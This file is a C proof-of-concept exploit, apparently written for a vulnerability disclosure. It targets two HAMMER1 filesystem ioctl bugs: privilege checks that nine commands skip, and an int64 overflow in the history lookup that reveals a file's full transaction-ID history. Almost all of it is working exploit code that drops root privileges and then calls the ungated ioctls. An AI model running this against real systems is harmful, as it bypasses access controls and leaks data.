DF-3112 / hammer_gate_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 | /* * DF-3112 / DF-3114 PoC — HAMMER1 ioctl layer (sys/vfs/hammer/hammer_ioctl.c) * * DF-3112: hammer_ioctl() computes caps_priv_check(SYSCAP_NOVFS_IOCTL) once at * line 72, but 9 case labels overwrite `error' with the handler's * return value without honoring the gate: GETHISTORY, SYNCTID, * GET_PSEUDOFS, GET_VERSION, GET_INFO, LIST_VOLUMES, GET_SNAPSHOT, * GET_CONFIG, SCAN_PSEUDOFS. An unprivileged user with any open fd * on a HAMMER1 mount executes them. * Tests [A]-[E] demonstrate the bypass; [F]/[G] show gated commands * correctly returning EPERM from the same dispatcher. * * DF-3114: hammer_ioc_gethistory() ATKEY path for HAMMER_OBJTYPE_REGFILE does * `++cursor.key_beg.key' (hammer_ioctl.c:354) with only a prior * `key > nxt_key' validation. key = nxt_key = INT64_MAX passes * validation and the increment overflows int64 -> INT64_MIN * (signed overflow, UB; wraps in practice), so the btree scan starts * at the very first record of the file and discloses the file's full * TID history instead of returning nothing / EINVAL. * Test [H] demonstrates the wrap. * * Build: cc -I/usr/src/sys -o hammer_gate_poc hammer_gate_poc.c * Run: ./hammer_gate_poc /mnt/h1/histfile (runs as root, drops to nobody) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <stdint.h> #include <sys/ioctl.h> #include <vfs/hammer/hammer_ioctl.h> #define NOBODY 65534 static int fd; static void drop(void) { if (geteuid() == 0) { if (setgid(NOBODY) < 0 || setuid(NOBODY) < 0) { perror("setgid/setuid"); exit(1); } } printf("[*] privileges: uid=%d euid=%d (unprivileged)\n", getuid(), geteuid()); } /* ---- DF-3112: the ungated command family ------------------------------- */ static void t_gethistory_plain(void) { struct hammer_ioc_history h; int r; memset(&h, 0, sizeof(h)); h.beg_tid = 1; h.end_tid = HAMMER_MAX_TID; r = ioctl(fd, HAMMERIOC_GETHISTORY, &h); printf("[A] GETHISTORY (plain) -> rc=%d errno=%d entries=%d %s\n", r, (r < 0) ? errno : 0, h.count, (r == 0) ? "*** PRIV GATE BYPASSED ***" : "denied"); } static void t_getversion(void) { struct hammer_ioc_version v; int r; memset(&v, 0, sizeof(v)); v.cur_version = 0; r = ioctl(fd, HAMMERIOC_GET_VERSION, &v); printf("[B] GET_VERSION -> rc=%d errno=%d ver=%u '%s' %s\n", r, (r < 0) ? errno : 0, v.cur_version, v.description, (r == 0) ? "*** PRIV GATE BYPASSED ***" : "denied"); } static void t_getinfo(void) { struct hammer_ioc_info i; int r; memset(&i, 0, sizeof(i)); r = ioctl(fd, HAMMERIOC_GET_INFO, &i); printf("[C] GET_INFO -> rc=%d errno=%d label='%s' rootvol=%d %s\n", r, (r < 0) ? errno : 0, i.vol_label, i.rootvol, (r == 0) ? "*** PRIV GATE BYPASSED ***" : "denied"); } static void t_synctid(void) { struct hammer_ioc_synctid s; int r; memset(&s, 0, sizeof(s)); s.op = HAMMER_SYNCTID_NONE; r = ioctl(fd, HAMMERIOC_SYNCTID, &s); printf("[D] SYNCTID (op=NONE) -> rc=%d errno=%d tid=0x%016jx %s\n", r, (r < 0) ? errno : 0, (uintmax_t)s.tid, (r == 0) ? "*** PRIV GATE BYPASSED ***" : "denied"); } static void t_scanpseudofs(void) { struct hammer_ioc_pseudofs_rw p; int r; memset(&p, 0, sizeof(p)); p.pfs_id = 0; p.bytes = sizeof(struct hammer_pseudofs_data); p.ondisk = NULL; /* no copyout; prove command executes */ r = ioctl(fd, HAMMERIOC_SCAN_PSEUDOFS, &p); printf("[E] SCAN_PSEUDOFS (pfs 0) -> rc=%d errno=%d pfs_id=%u bytes=%u %s\n", r, (r < 0) ? errno : 0, p.pfs_id, p.bytes, (r == 0) ? "*** PRIV GATE BYPASSED ***" : "denied"); } /* ---- gated contrast commands -------------------------------------------- */ static void t_prune(void) { struct hammer_ioc_prune pr; int r; memset(&pr, 0, sizeof(pr)); pr.nelms = 0; r = ioctl(fd, HAMMERIOC_PRUNE, &pr); printf("[F] PRUNE (gated contrast) -> rc=%d errno=%d %s\n", r, (r < 0) ? errno : 0, (r < 0 && errno == EPERM) ? "correctly denied (EPERM)" : "NOT DENIED?!"); } static void t_addsnap(void) { struct hammer_ioc_snapshot s; int r; memset(&s, 0, sizeof(s)); s.count = 0; s.index = 0; r = ioctl(fd, HAMMERIOC_ADD_SNAPSHOT, &s); printf("[G] ADD_SNAPSHOT (contrast) -> rc=%d errno=%d %s\n", r, (r < 0) ? errno : 0, (r < 0 && errno == EPERM) ? "correctly denied (EPERM)" : "NOT DENIED?!"); } /* ---- DF-3114: ATKEY signed overflow at INT64_MAX ------------------------ */ static void t_history_maxkey(void) { struct hammer_ioc_history h; int r, i; memset(&h, 0, sizeof(h)); h.beg_tid = 1; h.end_tid = HAMMER_MAX_TID; h.head.flags = HAMMER_IOC_HISTORY_ATKEY; h.key = HAMMER_MAX_KEY; /* 0x7fffffffffffffff */ h.nxt_key = HAMMER_MAX_KEY; /* passes key<=nxt_key validation */ r = ioctl(fd, HAMMERIOC_GETHISTORY, &h); printf("[H] GETHISTORY ATKEY key=INT64_MAX -> rc=%d errno=%d entries=%d flags=0x%x %s\n", r, (r < 0) ? errno : 0, h.count, h.head.flags, (r == 0 && h.count > 0) ? "*** INT64 OVERFLOW WRAP: full history disclosed (correct result: 0 entries / EINVAL) ***" : ((r == 0) ? "no entries (correct behavior)" : "error")); if (r == 0) for (i = 0; i < h.count; i++) printf(" tid[%d]=%016jx\n", i, (uintmax_t)h.hist_ary[i].tid); } int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "usage: %s <file-on-hammer1> [keep]\n", argv[0]); return (2); } fd = open(argv[1], O_RDONLY); if (fd < 0) { perror("open"); return (1); } printf("[*] opened %s fd=%d\n", argv[1], fd); if (argc < 3 || strcmp(argv[2], "keep") != 0) drop(); t_gethistory_plain(); t_getversion(); t_getinfo(); t_synctid(); t_scanpseudofs(); t_prune(); t_addsnap(); t_history_maxkey(); return (0); } |